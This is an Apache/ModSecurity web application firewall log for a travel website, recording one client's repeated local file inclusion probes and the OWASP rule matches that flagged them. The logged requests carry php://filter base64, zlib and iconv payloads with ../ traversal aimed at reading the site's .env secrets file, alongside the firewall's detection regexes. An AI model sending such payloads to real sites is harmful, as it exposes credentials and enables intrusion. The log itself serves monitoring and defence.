[Fri Jul 17 08:55:10.840489 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&cb=rce_znibgegytun5z8kypyppprvrtwqtil4jbai71buwm8vniacdwk9uxynnfxdaudw6ckeu99u0v843fqe-t6_hyxrpuek3fu9sptlr2xqivas0c1r5vnjz0eixpbk-zzxtrhxrsgdoodfjsnk8iyxb-x-bdgcarc0k4iqumcufyoiyqacmgcuntkc2doju8iq0prnzv4gnklqyt0pf0tcjem0dyshqhvmd6dwe9c2-ogs6hutbty24ecaypyojetzn2gb2ny7hnq8lg3rf7yvt&junk=buuftd27llr47z24cqai3gatjalihgbmozwjmfkb7eyvtrjrnzaalz4m2axd6il2jb6qz7i5auwbgli67dxlkopfxn2dit..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYwAAAB4"]
[Fri Jul 17 08:55:10.840671 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYwAAAB4"]
[Fri Jul 17 08:55:10.840826 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYwAAAB4"]
[Fri Jul 17 08:55:10.841517 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:path: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYwAAAB4"]
[Fri Jul 17 08:55:10.842839 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:path: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkwAAABk"]
[Fri Jul 17 08:55:10.843437 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYwAAAB4"]
[Fri Jul 17 08:55:10.843750 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.844334 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgllCBpfuYyhJ140vSYwAAAB4"]
[Fri Jul 17 08:55:10.845247 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:path: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBNgAAAAY"]
[Fri Jul 17 08:55:10.844383 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkwAAABk"]
[Fri Jul 17 08:55:10.846290 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.846707 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglg7FYe46zHK_jL3PkwAAABk"]
[Fri Jul 17 08:55:10.846763 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg5GPQ6hs4VrfMpBNgAAAAY"]
[Fri Jul 17 08:55:10.846921 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.847332 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglg5GPQ6hs4VrfMpBNgAAAAY"]
[Fri Jul 17 08:55:10.850721 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:page: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWQAAAAU"]
[Fri Jul 17 08:55:10.851815 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWQAAAAU"]
[Fri Jul 17 08:55:10.851952 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.852255 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglhAi3pC6yjXGNq2AWQAAAAU"]
[Fri Jul 17 08:55:10.855475 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&page=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&debug=kyeXcidHzJhfQMmv1GtoOMepTWCXOskbZb_ofQKw4giYkU3n99co70RTwHkzFIa9Yb-ZDYVc9w--u_n_IRxVFgLztrrzfSMlW3LIyUhvscUNrR4ZGxayM0LTNcTqWD_Axy8-R3aGEuLj_advv7y7HR_-fLKDwC3ZSwJdrHYTxCFTcyaEWwQrf_I2n0OJX7ZMvqFgFUMw3untp1j6vjdiyCTv5PTXA2mWkViEUJB-dCw6Z0IKbshkijquLxykvLpQOwBaWCXmjHZApPucoV9sCGKn&ts=6HF7WAIUGRP6FS2DPSIS3D5ULVQJRK7JEBEX7VGPTYWKVOTPX7SVO4PS4DVQ52P5BP4K6HXP2ARBJ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8eQAAABA"]
[Fri Jul 17 08:55:10.855556 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8eQAAABA"]
[Fri Jul 17 08:55:10.855632 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/convert.base64-encode/resource=../../../.env&debug=kyeXcidHzJhfQMmv1GtoOMepTWCXOskbZb_ofQKw4giYkU3n99co70RTwHkzFIa9Yb-ZDYVc9w--u_n_IRxVFgLztrrzfSMlW3LIyUhvscUNrR4ZGxayM0LTNcTqWD_Axy8-R3aGEuLj_advv7y7HR_-fLKDwC3ZSwJdrHYTxCFTcyaEWwQrf_I2n0OJX7ZMvqFgFUMw3untp1j6vjdiyCTv5PTXA2mWkViEUJB-dCw6Z0IKbshkijquLxykvLpQOwBaWCXmjHZApPucoV9sCGKn&ts=6HF7WAIUGRP6FS2DPSIS3D5ULVQJRK7JEBEX7VGPTYWKVOTPX7SVO4PS4DVQ52P5BP4K6HXP2ARBJDHBM3NVSGUFUISTU572SUNIQDW..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8eQAAABA"]
[Fri Jul 17 08:55:10.855627 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&page=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&junk=0x9dulLJSBKo2WnHiyMTs09noQcDYgDJtajB9iQDnMTSwQZRtA2ymIwbMP7KVu3kMWr0mjQw_Nsz1LrKz9kquVu4qrvdJU8XYpcfsZVVtbXvOrf4jRkN8LbMHpIRiluRTKdUSVSFbrwucpsGtwv8vJ54dq4tOrPjLdGQNo08S_5tk0xG1mi8GWbwRM2vj0t6WmSSTdlYLq8tJVXVcwRQFlpnvSqhIWcFErarfGp2TyP1n0qvn7SPp2DXXwDnt2NTUcuc3ZMnUwsRoT4mfr6rmqjm&extra=JEXIZR3C2MTLA2A26ZCCKXRT7AI3BSL7MOIJIB3K2J2KSHJS7TJLAAXUI5MGX3T3LGBKELOQRK44VOVG..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95ugAAAAw"]
[Fri Jul 17 08:55:10.855690 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/convert.base64-encode/resource=../../../.env&debug=kyexcidhzjhfqmmv1gtoomeptwcxoskbzb_ofqkw4giyku3n99co70rtwhkzfia9yb-zdyvc9w--u_n_irxvfglztrrzfsmlw3liyuhvscunrr4zgxaym0ltnctqwd_axy8-r3ageulj_advv7y7hr_-flkdwc3zswjdrhytxcftcyaewwqrf_i2n0ojx7zmvqfgfumw3untp1j6vjdiyctv5ptxa2mwkvieujb-dcw6z0ikbshkijqulxykvlpqowbawcxmjhzappucov9scgkn&ts=6hf7waiugrp6fs2dpsis3d5ulvqjrk7jebex7vgptywkvotpx7svo4ps4dvq52p5bp4k6hxp2arbjdhbm3nvsgufuistu572suniqdw..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8eQAAABA"]
[Fri Jul 17 08:55:10.855700 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95ugAAAAw"]
[Fri Jul 17 08:55:10.855724 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8eQAAABA"]
[Fri Jul 17 08:55:10.855751 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8eQAAABA"]
[Fri Jul 17 08:55:10.855780 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/convert.base64-encode/resource=../../.env&junk=0x9dulLJSBKo2WnHiyMTs09noQcDYgDJtajB9iQDnMTSwQZRtA2ymIwbMP7KVu3kMWr0mjQw_Nsz1LrKz9kquVu4qrvdJU8XYpcfsZVVtbXvOrf4jRkN8LbMHpIRiluRTKdUSVSFbrwucpsGtwv8vJ54dq4tOrPjLdGQNo08S_5tk0xG1mi8GWbwRM2vj0t6WmSSTdlYLq8tJVXVcwRQFlpnvSqhIWcFErarfGp2TyP1n0qvn7SPp2DXXwDnt2NTUcuc3ZMnUwsRoT4mfr6rmqjm&extra=JEXIZR3C2MTLA2A26ZCCKXRT7AI3BSL7MOIJIB3K2J2KSHJS7TJLAAXUI5MGX3T3LGBKELOQRK44VOVGFICGNFYC5JHBKTBYKXDXK7F5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95ugAAAAw"]
[Fri Jul 17 08:55:10.855837 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/convert.base64-encode/resource=../../.env&junk=0x9dulljsbko2wnhiymts09noqcdygdjtajb9iqdnmtswqzrta2ymiwbmp7kvu3kmwr0mjqw_nsz1lrkz9kquvu4qrvdju8xypcfszvvtbxvorf4jrkn8lbmhpirilurtkdusvsfbrwucpsgtwv8vj54dq4torpjldgqno08s_5tk0xg1mi8gwbwrm2vj0t6wmsstdlylq8tjvxvcwrqflpnvsqhiwcferarfgp2typ1n0qvn7spp2dxxwdnt2ntucuc3zmnuwsrot4mfr6rmqjm&extra=jexizr3c2mtla2a26zcckxrt7ai3bsl7moijib3k2j2kshjs7tjlaaxui5mgx3t3lgbkeloqrk44vovgficgnfyc5jhbktbykxdxk7f5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95ugAAAAw"]
[Fri Jul 17 08:55:10.855873 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95ugAAAAw"]
